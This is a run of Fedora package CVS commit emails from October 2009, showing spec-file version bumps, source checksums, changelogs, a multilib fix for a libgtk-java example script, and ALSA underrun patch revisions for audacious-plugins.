libgtk-java-multilib.patch:
 runExample.sh.in |    5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

--- NEW FILE libgtk-java-multilib.patch ---
2009-04-27  Stepan Kasal  <skasal at redhat.com>

	* doc/examples/runExample.sh.in: Remove @libdir@, to prevent a
	multilib problem with this example script.

--- libgtk-java-2.8.7/doc/examples/runExample.sh.in.orig	2005-04-13 10:17:39.000000000 +0200
+++ libgtk-java-2.8.7/doc/examples/runExample.sh.in	2009-04-27 18:11:09.000000000 +0200
@@ -5,7 +5,10 @@
 
 prefix=@prefix@
 exec_prefix=@exec_prefix@
-libdir=@libdir@
+case $(uname -m) in #(
+*64 | s390x ) libdir=$exec_prefix/lib64 ;;
+* ) libdir=$exec_prefix/lib ;;
+esac
 classpath=@INSTALLED_CLASSPATH@
 
 GTK_LIB=$libdir



From hadess at fedoraproject.org  Mon Oct 26 11:01:47 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon, 26 Oct 2009 11:01:47 +0000 (UTC)
Subject: rpms/gnome-user-share/F-12 .cvsignore, 1.21,
	1.22 gnome-user-share.spec, 1.64, 1.65 sources, 1.21, 1.22
Message-ID: <20091026110147.9A8E911C0268@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-user-share/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32648

Modified Files:
	.cvsignore gnome-user-share.spec sources 
Log Message:
* Mon Oct 26 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-1
- Update to 2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-user-share/F-12/.cvsignore,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- .cvsignore	21 Sep 2009 11:28:22 -0000	1.21
+++ .cvsignore	26 Oct 2009 11:01:47 -0000	1.22
@@ -1 +1 @@
-gnome-user-share-2.28.0.tar.bz2
+gnome-user-share-2.28.1.tar.bz2


Index: gnome-user-share.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-user-share/F-12/gnome-user-share.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- gnome-user-share.spec	21 Sep 2009 11:29:08 -0000	1.64
+++ gnome-user-share.spec	26 Oct 2009 11:01:47 -0000	1.65
@@ -1,6 +1,6 @@
 Summary: Gnome user file sharing
 Name: gnome-user-share
-Version: 2.28.0
+Version: 2.28.1
 Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Libraries
@@ -20,6 +20,7 @@ BuildRequires: GConf2-devel pkgconfig
 BuildRequires: gtk2-devel >= 2.4.0
 BuildRequires: httpd >= 2.2.0 mod_dnssd >= 0.6
 BuildRequires: gnome-bluetooth-libs-devel
+BuildRequires: libcanberra-devel
 BuildRequires: desktop-file-utils
 BuildRequires: gnome-doc-utils
 BuildRequires: libselinux-devel
@@ -134,6 +135,9 @@ fi
 %{_libdir}/nautilus/extensions-2.0/*.so
 
 %changelog
+* Mon Oct 26 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-1
+- Update to 2.28.1
+
 * Mon Sep 21 2009 Bastien Nocera <bnocera at redhat.com> 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-user-share/F-12/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	21 Sep 2009 11:28:22 -0000	1.21
+++ sources	26 Oct 2009 11:01:47 -0000	1.22
@@ -1 +1 @@
-8ccaca15e42036b42a54f997ffbac3a7  gnome-user-share-2.28.0.tar.bz2
+4dde75de682805357af5995a748d6e4e  gnome-user-share-2.28.1.tar.bz2



From pnemade at fedoraproject.org  Mon Oct 26 11:08:41 2009
From: pnemade at fedoraproject.org (pnemade)
Date: Mon, 26 Oct 2009 11:08:41 +0000 (UTC)
Subject: rpms/iok/F-11 iok.spec,1.12,1.13 sources,1.11,1.12
Message-ID: <20091026110841.8138711C0268@cvs1.fedora.phx.redhat.com>

Author: pnemade

Update of /cvs/pkgs/rpms/iok/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1985

Modified Files:
	iok.spec sources 
Log Message:
* Mon Oct 26 2009 Parag Nemade <panemade at gmail.com>- 1.3.8-1
- Update to Next release 1.3.8




Index: iok.spec
===================================================================
RCS file: /cvs/pkgs/rpms/iok/F-11/iok.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- iok.spec	15 Apr 2009 08:32:41 -0000	1.12
+++ iok.spec	26 Oct 2009 11:08:41 -0000	1.13
@@ -1,20 +1,21 @@
 Name:           iok
-Version:        1.3.4
+Version:        1.3.8
 Release:        1%{?dist}
 Summary:        Indic Onscreen Virtual Keyboard
 Group:          Applications/System
 License:        GPLv2+
-URL:            https://fedorahosted.org/iok/wiki/
+URL:            http://iok.sourceforge.net
 Source0:        https://fedorahosted.org/releases/i/o/iok/%{name}-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  desktop-file-utils libXtst-devel
-BuildRequires:  gtk2-devel gettext
-Requires: 	xkeyboard-config
+BuildRequires:  gtk2-devel gettext libxml2-devel
+BuildRequires:  intltool unique-devel
+Requires:  xkeyboard-config 
 
 %description
 iok is Indic Onscreen Keyboard. It provides virtual Keyboard functionality. 
-It currently works with Inscript keymaps for Indian languages. iok can even try 
-to parse non-inscript keymaps and show them in iok.
+It currently works with Inscript and xkb keymaps for Indian languages. iok
+can even try to parse non-inscript keymaps and show them in iok.
 
 %prep
 %setup -q
@@ -48,6 +49,23 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 26 2009 Parag Nemade <panemade at gmail.com>- 1.3.8-1
+- Update to Next release 1.3.8
+
+* Fri Sep 11 2009 Parag Nemade <panemade at gmail.com>- 1.3.7-1
+- Update to Next release 1.3.7
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.6-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Mon Jul 20 2009 Parag Nemade <panemade at gmail.com>- 1.3.6-1
+- Update to Next release 1.3.6
+- Add BR:intltool
+
+* Thu Jun 25 2009 Parag Nemade <panemade at gmail.com>- 1.3.5-1
+- Update to Next release 1.3.5
+- Resolves: rh506623:iok segfaults when changing the language
+
 * Tue Apr 14 2009 Parag Nemade <panemade at gmail.com>- 1.3.4-1
 - Update to Next release 1.3.4
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/iok/F-11/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	15 Apr 2009 08:32:41 -0000	1.11
+++ sources	26 Oct 2009 11:08:41 -0000	1.12
@@ -1 +1 @@
-a8ba50f639baf4d4b3b464facc769340  iok-1.3.4.tar.gz
+3820ed6371b84c34ce7eb341ba69542a  iok-1.3.8.tar.gz



From kasal at fedoraproject.org  Mon Oct 26 11:12:59 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon, 26 Oct 2009 11:12:59 +0000 (UTC)
Subject: rpms/libgtk-java/devel libgtk-java.spec,1.82,1.83
Message-ID: <20091026111259.5D0CC11C0268@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/libgtk-java/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2745

Modified Files:
	libgtk-java.spec 
Log Message:
- bump release


Index: libgtk-java.spec
===================================================================
RCS file: /cvs/extras/rpms/libgtk-java/devel/libgtk-java.spec,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- libgtk-java.spec	25 Jul 2009 05:51:02 -0000	1.82
+++ libgtk-java.spec	26 Oct 2009 11:12:59 -0000	1.83
@@ -18,7 +18,7 @@
 Summary:	Java bindings for GTK+
 Name:		%{java_pkg_prefix}%{name_base}
 Version:	2.8.7
-Release: 	12%{?dist}
+Release: 	13%{?dist}
 License:	LGPLv2
 Group:		Development/Libraries
 URL:		http://java-gnome.sourceforge.net
@@ -136,6 +136,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 26 2009 Stepan Kasal <skasal at redhat.com> - 2.8.7-13
+- bump release
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.8.7-12
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mschwendt at fedoraproject.org  Mon Oct 26 11:26:53 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Mon, 26 Oct 2009 11:26:53 +0000 (UTC)
Subject: rpms/audacious-plugins/F-11 audacious-plugins-1.5.1-underruns.patch,
	1.1, 1.2 audacious-plugins.spec, 1.41, 1.42
Message-ID: <20091026112653.4B4FA11C0268@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6122

Modified Files:
	audacious-plugins-1.5.1-underruns.patch audacious-plugins.spec 
Log Message:
* Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-14
- Set buffer_time_min in underruns patch. Depend on default buffer size.


audacious-plugins-1.5.1-underruns.patch:
 alsa-core.c |   48 +++++++++++++++++++++++++++++++++++++++++-------
 1 file changed, 41 insertions(+), 7 deletions(-)

Index: audacious-plugins-1.5.1-underruns.patch
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/F-11/audacious-plugins-1.5.1-underruns.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- audacious-plugins-1.5.1-underruns.patch	19 Sep 2009 14:06:53 -0000	1.1
+++ audacious-plugins-1.5.1-underruns.patch	26 Oct 2009 11:26:53 -0000	1.2
@@ -1,6 +1,6 @@
-diff -Nur audacious-plugins-fedora-1.5.1-alsa-ng/src/alsa/alsa-core.c audacious-plugins-fedora-1.5.1-alsa-ng-underruns/src/alsa/alsa-core.c
---- audacious-plugins-fedora-1.5.1-alsa-ng/src/alsa/alsa-core.c	2009-09-19 12:46:20.000000000 +0200
-+++ audacious-plugins-fedora-1.5.1-alsa-ng-underruns/src/alsa/alsa-core.c	2009-09-19 15:52:28.000000000 +0200
+diff -Nur audacious-plugins-fedora-1.5.1-alsa-ng-mixer/src/alsa/alsa-core.c audacious-plugins-fedora-1.5.1-alsa-ng-underruns/src/alsa/alsa-core.c
+--- audacious-plugins-fedora-1.5.1-alsa-ng-mixer/src/alsa/alsa-core.c	2009-09-19 12:54:29.476615457 +0200
++++ audacious-plugins-fedora-1.5.1-alsa-ng-underruns/src/alsa/alsa-core.c	2009-10-26 12:12:39.000000000 +0100
 @@ -27,6 +27,10 @@
  static gboolean pcm_going = FALSE;
  static GThread *audio_thread = NULL;
@@ -12,7 +12,7 @@ diff -Nur audacious-plugins-fedora-1.5.1
  
  static gsize wr_total = 0;
  static gsize wr_hwframes = 0;
-@@ -219,6 +228,9 @@
+@@ -224,6 +228,9 @@
          }
          else
          {
@@ -22,7 +22,7 @@ diff -Nur audacious-plugins-fedora-1.5.1
              gint err = snd_pcm_recover(pcm_handle, wr_frames, 1);
  
              _DEBUG ("snd_pcm_writei error: %s", snd_strerror (wr_frames));
-@@ -235,7 +247,7 @@
+@@ -240,7 +247,7 @@
  static gpointer
  alsaplug_loop(gpointer unused)
  {
@@ -31,7 +31,7 @@ diff -Nur audacious-plugins-fedora-1.5.1
      int size;
  
      while (pcm_going)
-@@ -245,6 +257,7 @@
+@@ -250,6 +257,7 @@
          if (flush_request != -1)
          {
              alsaplug_ringbuffer_reset (& pcm_ringbuf);
@@ -39,7 +39,7 @@ diff -Nur audacious-plugins-fedora-1.5.1
              snd_pcm_drop(pcm_handle);
              snd_pcm_prepare(pcm_handle);
              wr_total = flush_request * (long long) bps / 1000;
-@@ -262,12 +275,25 @@
+@@ -267,12 +275,25 @@
              continue;
          }
  
@@ -69,7 +69,43 @@ diff -Nur audacious-plugins-fedora-1.5.1
      }
  
      snd_pcm_drain(pcm_handle);
-@@ -362,6 +388,13 @@
+@@ -324,9 +345,10 @@
+ static gint
+ alsaplug_open_audio(AFormat fmt, gint rate, gint nch)
+ {
+-    gint err, bitwidth, ringbuf_size, buf_size;
++    gint err, bitwidth, ringbuf_size, buf_size, buf_size_norm;
+     snd_pcm_format_t afmt;
+     snd_pcm_hw_params_t *hwparams = NULL;
++    guint buf_time_min;
+ 
+     afmt = alsaplug_format_convert(fmt);
+     if (afmt == SND_PCM_FORMAT_UNKNOWN)
+@@ -345,6 +367,10 @@
+         return -1;
+     }
+ 
++    buf_size = MAX(aud_cfg->output_buffer_size, 100);
++    buf_size_norm = MAX(buf_size-400, 100);
++    buf_time_min = buf_size_norm * 1000;
++
+     snd_pcm_hw_params_alloca(&hwparams);
+     snd_pcm_hw_params_any(pcm_handle, hwparams);
+     CHECK_FAIL (snd_pcm_hw_params_set_access (pcm_handle, hwparams,
+@@ -355,18 +381,25 @@
+      "snd_pcm_hw_params_set_channels");
+     CHECK_FAIL (snd_pcm_hw_params_set_rate (pcm_handle, hwparams, rate, 0),
+      "snd_pcm_hw_params_set_rate");
++    snd_pcm_hw_params_set_buffer_time_min (pcm_handle, hwparams, &buf_time_min, 0);
+     CHECK_FAIL (snd_pcm_hw_params (pcm_handle, hwparams), "snd_pcm_hw_params");
+ 
+     bitwidth = snd_pcm_format_physical_width(afmt);
+     bps = (rate * bitwidth * nch) >> 3;
+ 
+-    buf_size = MAX(aud_cfg->output_buffer_size, 100);
+     ringbuf_size = buf_size * bps / 1000;
+ 
+     if (alsaplug_ringbuffer_init(&pcm_ringbuf, ringbuf_size) == -1) {
          _ERROR("alsaplug_ringbuffer_init failed");
          return -1;
      }
@@ -83,7 +119,7 @@ diff -Nur audacious-plugins-fedora-1.5.1
      pcm_going = TRUE;
      flush_request = -1;
      paused = FALSE;
-@@ -504,6 +537,7 @@
+@@ -509,6 +542,7 @@
  {
      g_mutex_lock (pcm_state_mutex);
      paused = p;


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/F-11/audacious-plugins.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- audacious-plugins.spec	21 Oct 2009 20:51:56 -0000	1.41
+++ audacious-plugins.spec	26 Oct 2009 11:26:53 -0000	1.42
@@ -4,7 +4,7 @@
 
 Name:           audacious-plugins
 Version:        1.5.1
-Release:        13%{?dist}
+Release:        14%{?dist}
 Summary:        Plugins for the Audacious media player
 Group:          Applications/Multimedia
 
@@ -280,6 +280,9 @@ update-desktop-database &> /dev/null || 
 
 
 %changelog
+* Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-14
+- Set buffer_time_min in underruns patch. Depend on default buffer size.
+
 * Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-13
 - Patch pulseaudio plugin to not suffer from precision loss when
   calculating the volume level to save.



From mschwendt at fedoraproject.org  Mon Oct 26 11:27:32 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Mon, 26 Oct 2009 11:27:32 +0000 (UTC)
Subject: rpms/audacious-plugins/F-10 audacious-plugins-1.5.1-underruns.patch,
	1.1, 1.2 audacious-plugins.spec, 1.39, 1.40
Message-ID: <20091026112732.82DE611C0268@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6434

Modified Files:
	audacious-plugins-1.5.1-underruns.patch audacious-plugins.spec 
Log Message:
* Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-14
- Set buffer_time_min in underruns patch. Depend on default buffer size.


audacious-plugins-1.5.1-underruns.patch:
 alsa-core.c |   48 +++++++++++++++++++++++++++++++++++++++++-------
 1 file changed, 41 insertions(+), 7 deletions(-)

Index: audacious-plugins-1.5.1-underruns.patch
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/F-10/audacious-plugins-1.5.1-underruns.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- audacious-plugins-1.5.1-underruns.patch	19 Sep 2009 14:54:25 -0000	1.1
+++ audacious-plugins-1.5.1-underruns.patch	26 Oct 2009 11:27:32 -0000	1.2
@@ -1,6 +1,6 @@
-diff -Nur audacious-plugins-fedora-1.5.1-alsa-ng/src/alsa/alsa-core.c audacious-plugins-fedora-1.5.1-alsa-ng-underruns/src/alsa/alsa-core.c
---- audacious-plugins-fedora-1.5.1-alsa-ng/src/alsa/alsa-core.c	2009-09-19 12:46:20.000000000 +0200
-+++ audacious-plugins-fedora-1.5.1-alsa-ng-underruns/src/alsa/alsa-core.c	2009-09-19 15:52:28.000000000 +0200
+diff -Nur audacious-plugins-fedora-1.5.1-alsa-ng-mixer/src/alsa/alsa-core.c audacious-plugins-fedora-1.5.1-alsa-ng-underruns/src/alsa/alsa-core.c
+--- audacious-plugins-fedora-1.5.1-alsa-ng-mixer/src/alsa/alsa-core.c	2009-09-19 12:54:29.476615457 +0200
++++ audacious-plugins-fedora-1.5.1-alsa-ng-underruns/src/alsa/alsa-core.c	2009-10-26 12:12:39.000000000 +0100
 @@ -27,6 +27,10 @@
  static gboolean pcm_going = FALSE;
  static GThread *audio_thread = NULL;
@@ -12,7 +12,7 @@ diff -Nur audacious-plugins-fedora-1.5.1
  
  static gsize wr_total = 0;
  static gsize wr_hwframes = 0;
-@@ -219,6 +228,9 @@
+@@ -224,6 +228,9 @@
          }
          else
          {
@@ -22,7 +22,7 @@ diff -Nur audacious-plugins-fedora-1.5.1
              gint err = snd_pcm_recover(pcm_handle, wr_frames, 1);
  
              _DEBUG ("snd_pcm_writei error: %s", snd_strerror (wr_frames));
-@@ -235,7 +247,7 @@
+@@ -240,7 +247,7 @@
  static gpointer
  alsaplug_loop(gpointer unused)
  {
@@ -31,7 +31,7 @@ diff -Nur audacious-plugins-fedora-1.5.1
      int size;
  
      while (pcm_going)
-@@ -245,6 +257,7 @@
+@@ -250,6 +257,7 @@
          if (flush_request != -1)
          {
              alsaplug_ringbuffer_reset (& pcm_ringbuf);
@@ -39,7 +39,7 @@ diff -Nur audacious-plugins-fedora-1.5.1
              snd_pcm_drop(pcm_handle);
              snd_pcm_prepare(pcm_handle);
              wr_total = flush_request * (long long) bps / 1000;
-@@ -262,12 +275,25 @@
+@@ -267,12 +275,25 @@
              continue;
          }
  
@@ -69,7 +69,43 @@ diff -Nur audacious-plugins-fedora-1.5.1
      }
  
      snd_pcm_drain(pcm_handle);
-@@ -362,6 +388,13 @@
+@@ -324,9 +345,10 @@
+ static gint
+ alsaplug_open_audio(AFormat fmt, gint rate, gint nch)
+ {
+-    gint err, bitwidth, ringbuf_size, buf_size;
++    gint err, bitwidth, ringbuf_size, buf_size, buf_size_norm;
+     snd_pcm_format_t afmt;
+     snd_pcm_hw_params_t *hwparams = NULL;
++    guint buf_time_min;
+ 
+     afmt = alsaplug_format_convert(fmt);
+     if (afmt == SND_PCM_FORMAT_UNKNOWN)
+@@ -345,6 +367,10 @@
+         return -1;
+     }
+ 
++    buf_size = MAX(aud_cfg->output_buffer_size, 100);
++    buf_size_norm = MAX(buf_size-400, 100);
++    buf_time_min = buf_size_norm * 1000;
++
+     snd_pcm_hw_params_alloca(&hwparams);
+     snd_pcm_hw_params_any(pcm_handle, hwparams);
+     CHECK_FAIL (snd_pcm_hw_params_set_access (pcm_handle, hwparams,
+@@ -355,18 +381,25 @@
+      "snd_pcm_hw_params_set_channels");
+     CHECK_FAIL (snd_pcm_hw_params_set_rate (pcm_handle, hwparams, rate, 0),
+      "snd_pcm_hw_params_set_rate");
++    snd_pcm_hw_params_set_buffer_time_min (pcm_handle, hwparams, &buf_time_min, 0);
+     CHECK_FAIL (snd_pcm_hw_params (pcm_handle, hwparams), "snd_pcm_hw_params");
+ 
+     bitwidth = snd_pcm_format_physical_width(afmt);
+     bps = (rate * bitwidth * nch) >> 3;
+ 
+-    buf_size = MAX(aud_cfg->output_buffer_size, 100);
+     ringbuf_size = buf_size * bps / 1000;
+ 
+     if (alsaplug_ringbuffer_init(&pcm_ringbuf, ringbuf_size) == -1) {
          _ERROR("alsaplug_ringbuffer_init failed");
          return -1;
      }
@@ -83,7 +119,7 @@ diff -Nur audacious-plugins-fedora-1.5.1
      pcm_going = TRUE;
      flush_request = -1;
      paused = FALSE;
-@@ -504,6 +537,7 @@
+@@ -509,6 +542,7 @@
  {
      g_mutex_lock (pcm_state_mutex);
      paused = p;


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/F-10/audacious-plugins.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- audacious-plugins.spec	21 Oct 2009 20:53:08 -0000	1.39
+++ audacious-plugins.spec	26 Oct 2009 11:27:32 -0000	1.40
@@ -4,7 +4,7 @@
 
 Name:           audacious-plugins
 Version:        1.5.1
-Release:        13%{?dist}
+Release:        14%{?dist}
 Summary:        Plugins for the Audacious media player
 Group:          Applications/Multimedia
 
@@ -280,6 +280,9 @@ update-desktop-database &> /dev/null || 
 
 
 %changelog
+* Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-14
+- Set buffer_time_min in underruns patch. Depend on default buffer size.
+
 * Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-13
 - Patch pulseaudio plugin to not suffer from precision loss when
   calculating the volume level to save.



From mschwendt at fedoraproject.org  Mon Oct 26 11:28:39 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Mon, 26 Oct 2009 11:28:39 +0000 (UTC)
Subject: rpms/audacious-plugins/F-12 audacious-plugins-2.1-underruns.patch,
	1.2, 1.3 audacious-plugins.spec, 1.55, 1.56
Message-ID: <20091026112839.8CDE811C0268@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6902

Modified Files:
	audacious-plugins-2.1-underruns.patch audacious-plugins.spec 
Log Message:
* Mon Oct 26 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-9
- Let buffer_time_min in underruns patch depend on default buffer size.


audacious-plugins-2.1-underruns.patch:
 alsa-core.c |   48 +++++++++++++++++++++++++++++++++++++++++-------
 1 file changed, 41 insertions(+), 7 deletions(-)

Index: audacious-plugins-2.1-underruns.patch
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/F-12/audacious-plugins-2.1-underruns.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- audacious-plugins-2.1-underruns.patch	21 Oct 2009 11:25:17 -0000	1.2
+++ audacious-plugins-2.1-underruns.patch	26 Oct 2009 11:28:38 -0000	1.3
@@ -1,6 +1,6 @@
 diff -Nur audacious-plugins-fedora-2.1-orig/src/alsa-ng/alsa-core.c audacious-plugins-fedora-2.1/src/alsa-ng/alsa-core.c
 --- audacious-plugins-fedora-2.1-orig/src/alsa-ng/alsa-core.c	2009-10-21 13:18:35.825170784 +0200
-+++ audacious-plugins-fedora-2.1/src/alsa-ng/alsa-core.c	2009-10-21 13:20:45.520178677 +0200
++++ audacious-plugins-fedora-2.1/src/alsa-ng/alsa-core.c	2009-10-26 12:19:30.561386114 +0100
 @@ -27,6 +27,10 @@
  static gboolean pcm_going = FALSE;
  static GThread *audio_thread = NULL;
@@ -69,23 +69,43 @@ diff -Nur audacious-plugins-fedora-2.1-o
      }
  
      snd_pcm_drain(pcm_handle);
-@@ -339,6 +360,7 @@
-     gint err, bitwidth, ringbuf_size, buf_size;
+@@ -336,9 +357,10 @@
+ static gint
+ alsaplug_open_audio(AFormat fmt, gint rate, gint nch)
+ {
+-    gint err, bitwidth, ringbuf_size, buf_size;
++    gint err, bitwidth, ringbuf_size, buf_size, buf_size_norm;
      snd_pcm_format_t afmt;
      snd_pcm_hw_params_t *hwparams = NULL;
-+    guint time = 1000 * 100;
++    guint buf_time_min;
  
      afmt = alsaplug_format_convert(fmt);
      if (afmt == SND_PCM_FORMAT_UNKNOWN)
-@@ -365,6 +387,7 @@
+@@ -354,6 +376,10 @@
+         return -1;
+     }
+ 
++    buf_size = MAX(aud_cfg->output_buffer_size, 100);
++    buf_size_norm = MAX(buf_size-400, 100);
++    buf_time_min = buf_size_norm * 1000;
++
+     snd_pcm_hw_params_alloca(&hwparams);
+     snd_pcm_hw_params_any(pcm_handle, hwparams);
+ 
+@@ -365,18 +391,25 @@
       "snd_pcm_hw_params_set_channels");
      CHECK_FAIL (snd_pcm_hw_params_set_rate (pcm_handle, hwparams, rate, 0),
       "snd_pcm_hw_params_set_rate");
-+    snd_pcm_hw_params_set_buffer_time_min (pcm_handle, hwparams, &time, 0);
++    snd_pcm_hw_params_set_buffer_time_min (pcm_handle, hwparams, &buf_time_min, 0);
      CHECK_FAIL (snd_pcm_hw_params (pcm_handle, hwparams), "snd_pcm_hw_params");
  
      bitwidth = snd_pcm_format_physical_width(afmt);
-@@ -377,6 +400,13 @@
+     bps = (rate * bitwidth * nch) >> 3;
+ 
+-    buf_size = MAX(aud_cfg->output_buffer_size, 100);
+     ringbuf_size = buf_size * bps / 1000;
+ 
+     if (alsaplug_ringbuffer_init(&pcm_ringbuf, ringbuf_size) == -1) {
          _ERROR("alsaplug_ringbuffer_init failed");
          return -1;
      }
@@ -99,7 +119,7 @@ diff -Nur audacious-plugins-fedora-2.1-o
  
      pcm_going = TRUE;
      flush_request = -1;
-@@ -511,6 +541,7 @@
+@@ -511,6 +544,7 @@
  {
      g_mutex_lock (pcm_state_mutex);
      paused = p;


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/F-12/audacious-plugins.spec,v
retrieving revision 1.55
retrieving revision 1.56
diff -u -p -r1.55 -r1.56
--- audacious-plugins.spec	25 Oct 2009 11:32:13 -0000	1.55
+++ audacious-plugins.spec	26 Oct 2009 11:28:39 -0000	1.56
@@ -5,7 +5,7 @@
 
 Name: audacious-plugins
 Version: 2.1
-Release: 8%{?dist}
+Release: 9%{?dist}
 Summary: Plugins for the Audacious media player
 Group: Applications/Multimedia
 URL: http://audacious-media-player.org/
@@ -239,6 +239,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-9
+- Let buffer_time_min in underruns patch depend on default buffer size.
+
 * Sun Oct 25 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-8
 - Patch modplug plugin to remove old cruft and fix playback.
 



From hadess at fedoraproject.org  Mon Oct 26 11:42:28 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon, 26 Oct 2009 11:42:28 +0000 (UTC)
Subject: rpms/totem/devel .cvsignore, 1.79, 1.80 sources, 1.79,
	1.80 totem.spec, 1.263, 1.264
Message-ID: <20091026114228.B4AD411C0268@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/totem/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10521

Modified Files:
	.cvsignore sources totem.spec 
Log Message:
* Mon Oct 26 2009 Bastien Nocera <bnocera at redhat.com> 2.28.2-1
- Update to 2.28.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/totem/devel/.cvsignore,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- .cvsignore	29 Sep 2009 15:26:14 -0000	1.79
+++ .cvsignore	26 Oct 2009 11:42:27 -0000	1.80
@@ -1 +1 @@
-totem-2.28.1.tar.bz2
+totem-2.28.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/totem/devel/sources,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- sources	29 Sep 2009 15:26:14 -0000	1.79
+++ sources	26 Oct 2009 11:42:27 -0000	1.80
@@ -1 +1 @@
-42f071fcf8ffc471beb3e1689297d647  totem-2.28.1.tar.bz2
+c9346612a836210059cafe118cea4eaa  totem-2.28.2.tar.bz2


Index: totem.spec
===================================================================
RCS file: /cvs/pkgs/rpms/totem/devel/totem.spec,v
retrieving revision 1.263
retrieving revision 1.264
diff -u -p -r1.263 -r1.264
--- totem.spec	20 Oct 2009 15:21:41 -0000	1.263
+++ totem.spec	26 Oct 2009 11:42:27 -0000	1.264
@@ -5,8 +5,8 @@
 
 Summary: Movie player for GNOME
 Name: totem
-Version: 2.28.1
-Release: 2%{?dist}
+Version: 2.28.2
+Release: 1%{?dist}
 License: GPLv2+ with exceptions
 Group: Applications/Multimedia
 URL: http://projects.gnome.org/totem/
@@ -381,6 +381,9 @@ fi
 %{_libdir}/totem/plugins/publish
 
 %changelog
+* Mon Oct 26 2009 Bastien Nocera <bnocera at redhat.com> 2.28.2-1
+- Update to 2.28.2
+
 * Tue Oct 20 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-2
 - Add missing dependency (#529845)
 



From hadess at fedoraproject.org  Mon Oct 26 11:59:42 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon, 26 Oct 2009 11:59:42 +0000 (UTC)
Subject: rpms/totem/F-12 .cvsignore, 1.79, 1.80 sources, 1.79,
	1.80 totem.spec, 1.265, 1.266
